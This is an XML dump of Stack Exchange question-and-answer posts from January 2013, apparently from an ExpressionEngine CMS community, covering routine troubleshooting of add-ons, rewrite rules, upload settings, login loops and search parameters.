  <row Id="5069" PostTypeId="2" ParentId="5066" CreationDate="2013-01-18T18:03:27.540" Score="2" Body="&lt;p&gt;It's odd that you are getting p tags with formatting set to none. Was this a different field type at one point? Try deleting out any data, saving the entry, then editing it again, add the url once more and finally saving of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some thoughts that might help you (or others) though, might be slightly to one side of your current situation; if that makes sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an add-on which is very nice for featured type entries called Selected items:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Often on a website you want to control the order that entries display.&#xA;  For example, on a magazine-style website, the front page stories would&#xA;  be editorially selected rather than just the 5 most recent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/selected_items&quot; rel=&quot;nofollow&quot;&gt;Selected Items&lt;/a&gt; (&lt;em&gt;docs are at the repo/download itself&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you are ever doing is linking to entries in the Page channel, for example, where the data is exactly the same as what you've built in your &quot;Featured&quot; channel then this route would eliminate the need for having two channels that the client has to fill out. You could just pull from the Page channel in this case assuming the data is the same like I said. Any chance you have that the client has &lt;em&gt;less&lt;/em&gt; work to do is a plus IMO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The possible downside to this add-on is that it adds a new location to the CP for the client to have to manage. This can be alleviated a bit via adding a &quot;bookmark&quot; in any editors/admin accounts via the &lt;code&gt;Add+&lt;/code&gt; link in the main nav or better yet by using something like &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea would be to add a link to the top of Structure labeled &quot;Featured&quot;, for example, which is a shortcut to the selected items page. This would require an add-on of course similar to &lt;a href=&quot;http://devot-ee.com/add-ons/encaf-where-is-the-lv&quot; rel=&quot;nofollow&quot;&gt;Encaf Where is the LV&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option which might work is via &lt;a href=&quot;http://devot-ee.com/add-ons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt;. In this case you might set a status or category of &quot;Featured&quot; and only have those entries from the Page channel show up. You could reorder though, the difference here from Selected items is that with Selected Items you can reorder AND select which items you want to show. Low Reorder you can reorder but, the selection process is done more automatically depending on how you setup your options and filters etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if for some reason you can't figure out why your current setup keeps adding p tags then maybe try a different field type all together for now. There is the VZ URL add-on which would work in this case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/vz-url-extension&quot; rel=&quot;nofollow&quot;&gt;VZ URL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: using VZ URL only is &quot;bandaging&quot; the problem. Finding out why you're getting p tags in a text input field type with formatting set to none of course would be the real fix vs this bandaid fix. I'm not sure why this is happening from where I sit, however.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-01-18T18:12:58.313" LastActivityDate="2013-01-18T18:12:58.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5071" PostTypeId="2" ParentId="5066" CreationDate="2013-01-18T18:42:02.867" Score="1" Body="&lt;p&gt;1) In the past I used to use Wygwam as my textarea field type and this has a handy plugin called &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam-entries&quot; rel=&quot;nofollow&quot;&gt;Wygwam Entries&lt;/a&gt; which can be used to link to any channel (not just those in the pages module). Both of those are commercial however. There is a free linking addon called &lt;a href=&quot;https://github.com/pixelandtonic/wygwam_structure_pages&quot; rel=&quot;nofollow&quot;&gt;Wygwam Structure Pages&lt;/a&gt; though which I believe still works but I'm not sure if it's still supported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually having just taken a look at &lt;a href=&quot;http://pixelandtonic.com/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt; it now seems to include Structure Page support by default so it's all there in one addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative commercial option but a bit cheaper is &lt;a href=&quot;http://devot-ee.com/add-ons/redactee&quot; rel=&quot;nofollow&quot;&gt;Redactee&lt;/a&gt;. I believe allows you to link to channel entries (it should support Structure pages too) in a similar way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly if you don't want commercial and just use the Pages module then &lt;a href=&quot;http://devot-ee.com/add-ons/easy-page-links&quot; rel=&quot;nofollow&quot;&gt;Easy Page Links&lt;/a&gt; provides an easy to use interface but unfortunately it doesn't support Structure as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That provides a few options at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I believe that's just because you've set the formatting of the field to XHTML which is probably the default. If you set this to 'None' in wont add the paragraph tags to the URL but it also wont add XHTML to anything else in the textarea. If you're using one of the above page linking addons however then you can keep the formatting to XHTML and just tell them how to link to internal pages by selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-01-18T18:42:02.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5072" PostTypeId="2" ParentId="4845" CreationDate="2013-01-18T18:58:13.910" Score="2" Body="&lt;p&gt;This answer is for posterity. My issue ended up being a combination of the browser request limit Andris mentioned and &lt;code&gt;Pragma: no-cache&lt;/code&gt; headers that were being passed by ExpressionEngine 2.5.2. I confirmed that they were coming from ExpressionEngine in two environments, though commenting out all relevant &lt;code&gt;header()&lt;/code&gt; references failed to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed this for now by adding &lt;code&gt;Header unset Pragma&lt;/code&gt; to my .htaccess directive. This clearly fixes my missed cache issue, and I'm fairly sure that it doesn't have negative consequences anywhere else.&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-01-18T18:58:13.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5073" PostTypeId="2" ParentId="5047" CreationDate="2013-01-18T19:12:33.623" Score="3" Body="&lt;p&gt;I think Dom's got the better answer since it relies on built-in functionality, but I'd also like to recommend &lt;a href=&quot;http://devot-ee.com/add-ons/column-bo&quot; rel=&quot;nofollow&quot;&gt;Column-bo&lt;/a&gt;, a great (and free!) plugin that makes light work of splitting entries into columns.&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-01-18T19:12:33.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5074" PostTypeId="1" CreationDate="2013-01-18T19:46:10.267" Score="3" ViewCount="287" Body="&lt;p&gt;I am developing a website that sells design and print items. My print items run on a formula that needs me to be able to have one price modifier such as &quot;paper type&quot; affect the final price depending on what the &quot;dimensions&quot; modifier is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear my price modifiers need to affect each other's price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Expresso Store. If so, what are the solutions?&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2013-06-22T01:39:45.617" Title="Expresso Store Price Modifier Affecting Modifier" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5075" PostTypeId="2" ParentId="5058" CreationDate="2013-01-18T20:06:21.103" Score="2" Body="&lt;p&gt;If you want to override MSM settings then you should move this code into the index.php file of the sites respectively.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['upload_preferences'] = array(&#xA;        1 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Images',&#xA;            'server_path' =&amp;gt; $uploads_path . &quot;/images/&quot;,&#xA;            'url'         =&amp;gt; $uploads_url . &quot;/images/&quot;&#xA;        ),&#xA;        2 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Files',&#xA;            'server_path' =&amp;gt; $uploads_path . &quot;/files/&quot;,&#xA;            'url'         =&amp;gt; $uploads_url . &quot;/files/&quot;&#xA;        ),&#xA;        3 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Icons',&#xA;            'server_path' =&amp;gt; $uploads_path . &quot;/icons/&quot;,&#xA;            'url'         =&amp;gt; $uploads_url . &quot;/icons/&quot;&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be mindful though, I've experienced a known bug where some values are set in the config of MSM sites but aren't reflected in the CP.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-18T20:06:21.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5076" PostTypeId="2" ParentId="5039" CreationDate="2013-01-18T20:10:57.853" Score="4" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;configuration&amp;gt;&#xA; &amp;lt;system.webServer&amp;gt;&#xA; &amp;lt;rewrite&amp;gt;&#xA;    &amp;lt;rules&amp;gt;&#xA;      &amp;lt;rule name=&quot;Rewriter&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;match url=&quot;^(.*)$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;        &amp;lt;conditions&amp;gt;&#xA;          &amp;lt;add input=&quot;{R:1}&quot; pattern=&quot;^(index\\.php|images|css|js|favicon\\.ico)&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;          &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;          &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;/conditions&amp;gt;&#xA;        &amp;lt;action type=&quot;Rewrite&quot; url=&quot;./index.php/{R:1}&quot; appendQueryString=&quot;true&quot; /&amp;gt;&#xA;      &amp;lt;/rule&amp;gt;&#xA;    &amp;lt;/rules&amp;gt;&#xA;  &amp;lt;/rewrite&amp;gt;&#xA; &amp;lt;/system.webServer&amp;gt;&#xA;&amp;lt;/configuration&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you were using an older IIS version with the ISAPI rewrite module then you could do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RewriteEngine on &#xA;    RewriteCond $1 !^(css|js|swf|images|system|tools|themes|index\.php) [NC]&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the RewriteCond piped lines are equal to the folders that you don't want to be rewritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly this worked on an older IIS version (I now try to avoid IIS where possible).&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="146" LastEditDate="2013-01-18T20:21:26.227" LastActivityDate="2013-01-18T20:21:26.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5077" PostTypeId="1" AcceptedAnswerId="5079" CreationDate="2013-01-18T20:11:45.307" Score="4" ViewCount="789" Body="&lt;p&gt;Does anyone know why when I login to any of my EE sites at admin.php I have to login twice?  The first time it just reloads the page and I have to login a second time to access the backend?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-18T20:25:43.343" Title="Double (twice) login to admin" Tags="|admin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5078" PostTypeId="2" ParentId="5058" CreationDate="2013-01-18T20:23:41.300" Score="6" Body="&lt;p&gt;Actually, every upload location you create is going to have a different ID, be it one site or in multiple sites using MSM. You can thus safely keep everything in config.php becuse every upload location you define (even if you share physical folders) is going to have a different ID anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step 1: create all your upload location in the CP for all sites&lt;/li&gt;&#xA;&lt;li&gt;Step 2: take the upload location id and configure all upload location&#xA;in your central config.php file for all sites. Since they all have&#xA;specific ids, no conflict problem whatsoever&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-21T09:20:48.393" LastActivityDate="2013-01-21T09:20:48.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5079" PostTypeId="2" ParentId="5077" CreationDate="2013-01-18T20:25:43.343" Score="6" Body="&lt;p&gt;I've had that happen, generally when a session string is automatically added to the admin url, so when it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.org/admin.php?S=6a260ba9fe18b9b11fa552ce03bd203ac665ae&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generally, if it's without the session data, the login happens fine, the first time; but with it seems to break then re-trigger the session info by forcing the second login. I don't know why it happens, but that's my situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I counteracted by making sure my bookmark and history brings up the clean reference first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.org/admin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then its the first time, all the time, for me. It could work for you. First step, is go to your browser history and delete all the history files that have session ids attached to them. Just leave a bookmark and a history item of the clean domain control panel access.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.org/admin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prioritizes that url when you start typing. Hopefully, that will work for you as well.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-18T20:25:43.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5080" PostTypeId="1" CreationDate="2013-01-18T20:28:27.347" Score="2" ViewCount="99" Body="&lt;p&gt;I just updated Assets 2.0.2 from 1.x and on one of the pages of our site, we're receiving the following fatal error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Uncaught exception 'Exception' with message 'unknown_source' in ...expressionengine/third_party/assets/libraries/assets_lib.php:1188&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, but I think it has something to do with upload preferences.  I should note that in the code at line 1188, the $settings variable being inspected is not empty, though when tested the Exception is still being thrown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced this, and if so, is there a fix?  Or is there some configuration setting that I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can provide!&lt;/p&gt;&#xA;" OwnerUserId="850" LastEditorUserId="100" LastEditDate="2013-01-19T01:27:02.537" LastActivityDate="2013-01-19T02:01:54.097" Title="Assets 2.0.2 Fatal error" Tags="|add-on|assets|" AnswerCount="1" CommentCount="1" ClosedDate="2013-01-19T23:06:05.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="5081" PostTypeId="2" ParentId="4961" CreationDate="2013-01-18T21:03:03.097" Score="4" Body="&lt;p&gt;Pixel and Tonic updated Assets to account for $config overrides. Update to 2.0.2 and you should be set!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/assets/releasenotes&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/assets/releasenotes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-01-18T21:03:03.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5082" PostTypeId="2" ParentId="2462" CreationDate="2013-01-18T21:09:52.083" Score="1" Body="&lt;p&gt;I'd make a new template for this. You'll need it if you have an RSS feed as well. It can be a single-entry page that's only used for search results/RSS or a monthly archive page where you can construct a link like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path='section/archive'}/{entry_date format=&quot;%Y/%m&quot;}/#section-{entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is ever a time when someone wants to link directly to a post from outside of the CMS, the paginated solution is going to fail.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2013-01-18T21:09:52.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5083" PostTypeId="1" AcceptedAnswerId="5084" CreationDate="2013-01-18T22:54:25.940" Score="3" ViewCount="389" Body="&lt;p&gt;Does anyone know of a (free) add-on that will send a custom email message to a member/member group when an entry is updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does anyone know of a way to do this with the standard EE setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE.&#xA;As suggested, MX Notify Control does what I'm asking. However it appears to let you notify a group when the status of any entry in a channel changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After further thought I have realised I need to be able to notify particular members when a particular entry is updated (i.e. any field has changed rather than just the status - although I could work it with just the status if necessary)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking RSS could be an option here however my user base is not going to be familiar with RSS so email would be the ideal solution.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-01-18T23:08:39.147" LastActivityDate="2013-01-18T23:08:39.147" Title="Sending emails to member group when an entry is updated" Tags="|add-on|email|entry|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5084" PostTypeId="2" ParentId="5083" CreationDate="2013-01-18T23:00:56.487" Score="6" Body="&lt;p&gt;I'm pretty sure you can do it with MX Notify Control and it's free:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot;&gt;http://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never tried it before so, consider it an option vs a recommendation if that makes sense :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just for the sake of being thorough there is also Postmaster though, it of course isn't free:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot;&gt;http://devot-ee.com/add-ons/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-18T23:00:56.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5085" PostTypeId="1" CreationDate="2013-01-19T00:28:41.087" Score="1" ViewCount="179" Body="&lt;p&gt;My &quot;File&quot; fieldtype is missing when trying to add a new channel field after installing file module and safecracker. - I have tried uninstalling the both modules, but the field type has not come back. I have tried clearing all my caches but nothing is making it return. All previous file field types have disappeared too. ?&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="782" LastEditDate="2013-01-19T01:04:53.227" LastActivityDate="2013-01-20T06:01:00.470" Title="&quot;File&quot; fieldtype missing when trying to add a new channel field" Tags="|file-uploads|fieldtype|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5086" PostTypeId="2" ParentId="5080" CreationDate="2013-01-19T02:01:54.097" Score="2" Body="&lt;p&gt;This error will be fixed in the upcoming Assets 2.0.3 release.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-19T02:01:54.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5087" PostTypeId="1" AcceptedAnswerId="5091" CreationDate="2013-01-19T02:12:23.793" Score="3" ViewCount="643" Body="&lt;p&gt;Is there a way to sort Low Search results? Say I wanted to sort by {title} in ascending order. Or sort by and {age} field in descending order. Etc.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-19T08:49:19.593" Title="Low Search: how to sort?" Tags="|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5088" PostTypeId="2" ParentId="5087" CreationDate="2013-01-19T02:28:54.827" Score="1" Body="&lt;p&gt;With Low Search you can sort by relevance which is the default setting or you can sort by using any parameter the native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;channel:entries tag&lt;/strong&gt;&lt;/a&gt; can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably want to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;orderby=&quot;&quot;&lt;/strong&gt;&lt;/a&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;title&quot;&#xA;orderby=&quot;name_of_field&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-19T02:28:54.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5089" PostTypeId="1" AcceptedAnswerId="5090" CreationDate="2013-01-19T05:01:01.417" Score="2" ViewCount="110" Body="&lt;p&gt;I'm trying to randomise a background image from one of my Assets folders but the limit parameter doesn't seem to be working correctly on the &lt;code&gt;{exp:assets:files}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files folder_id=&quot;16&quot; limit=&quot;1&quot; sort=&quot;random&quot;}{url}{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code gets the correct folder but all 3 images are begin output instead of just one. &lt;a href=&quot;http://pixelandtonic.com/assets/docs/templates#assets%3afiles&quot; rel=&quot;nofollow&quot;&gt;The docs suggest&lt;/a&gt; that you can add the limit parameter to this tag and further searching on the get satisfaction showed that the &lt;code&gt;sort=&quot;random&quot;&lt;/code&gt; parameter was also supported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the same code but changing the limit to something higher than 1 and still no success. Also tried the tag pair with out the &lt;code&gt;sort=&quot;random&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Assets 2.0.1 and EECMS 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to get these randomised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Dan.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-01-19T05:08:20.760" Title="{exp:assets:files} limit parameter not limiting the returned files" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5090" PostTypeId="2" ParentId="5089" CreationDate="2013-01-19T05:08:20.760" Score="2" Body="&lt;p&gt;Currently sort=&quot;random&quot; is limited to the fieldtype tags. We’ll add support for sort=&quot;random&quot; to {exp:assets:files} and {exp:assets:folders} in Assets 2.1.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-19T05:08:20.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5091" PostTypeId="2" ParentId="5087" CreationDate="2013-01-19T08:49:19.593" Score="2" Body="&lt;p&gt;Anna is right. You can just use the &lt;code&gt;orderby=&quot;&quot;&lt;/code&gt; and &lt;code&gt;sort=&quot;&quot;&lt;/code&gt; parameters in the Results tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To let the end user choose, &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag&quot; rel=&quot;nofollow&quot;&gt;you can use all &lt;code&gt;{exp:channel:entries}&lt;/code&gt; parameters as input fields&lt;/a&gt; in the Form tag, so that includes the &lt;code&gt;orderby&lt;/code&gt; and &lt;code&gt;sort&lt;/code&gt; parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sort by &amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Relevance&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;title&quot;&amp;gt;Title&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;date&quot;&amp;gt;Entry Date&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;custom_field&quot;&amp;gt;Custom Field&amp;lt;/option&amp;gt;&#xA;    ...&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;in &amp;lt;select name=&quot;sort&quot;&amp;gt;&#xA;   &amp;lt;option value=&quot;asc&quot;&amp;gt;Ascending&amp;lt;/option&amp;gt;&#xA;   &amp;lt;option value=&quot;desc&quot;&amp;gt;Descending&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt; order.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-19T08:49:19.593" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5092" PostTypeId="1" AcceptedAnswerId="5094" CreationDate="2013-01-19T10:45:12.820" Score="1" ViewCount="232" Body="&lt;p&gt;I am trying to exclude entries that either have no value or a value of &quot;0&quot; in a field, but am running into problems with the 'search:' parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:product_inventory=&quot;not IS_EMPTY&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works and excludes all entries that have no value in that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I also want to exclude fields with the value of zero, I changed it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:product_inventory=&quot;not IS_EMPTY|0&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This threw this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'wd.field_id_8NOT' in 'where clause'&#xA;&#xA;SELECT DISTINCT(t.entry_id) FROM exp_channel_titles AS t LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_channel_data AS wd ON wd.entry_id = t.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id INNER JOIN exp_category_posts ON t.entry_id = exp_category_posts.entry_id INNER JOIN exp_categories ON exp_category_posts.cat_id = exp_categories.cat_id WHERE t.entry_id !='' AND t.site_id IN ('1') AND t.entry_date &amp;lt; 1358591770 AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1358591770) AND t.channel_id = '2' AND exp_categories.cat_id = '68' AND t.status = 'open' AND ( (wd.site_id=1 AND wd.field_id_8!=&quot;&quot;) AND (wd.site_id=1 AND wd.field_id_8NOT LIKE &quot;%0%&quot;) )&#xA;&#xA;Filename: modules/channel/mod.channel.php&#xA;&#xA;Line Number: 2660&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:product_inventory=&quot;not 0|IS_EMPTY&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;throws the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:product_inventory=&quot;= not 0&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which successfully excluded the entries with a '0' in that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed this to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:product_inventory=&quot;= not 0|IS_EMPTY&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this time the 'IS_EMPTY' is being completely ignored and all entries that have no value in that field are still returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I successfully exclude entries that have no value or a value of '0' in that field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE v.2.5.3.&lt;/p&gt;&#xA;" OwnerUserId="744" LastActivityDate="2013-01-19T13:35:54.813" Title="'Search:' parameter exclusion problems" Tags="|parameters|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5093" PostTypeId="2" ParentId="5062" CreationDate="2013-01-19T11:59:25.380" Score="2" Body="&lt;p&gt;Sometimes the sollution to a problem is a simple one. After uploading the matrix files in the themes directory the problem disappeared.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TAKE HOME MESSAGE&lt;br /&gt;&#xA;  When in doubt reupload the themes file to try and solve the problem. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;;)&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-01-19T11:59:25.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
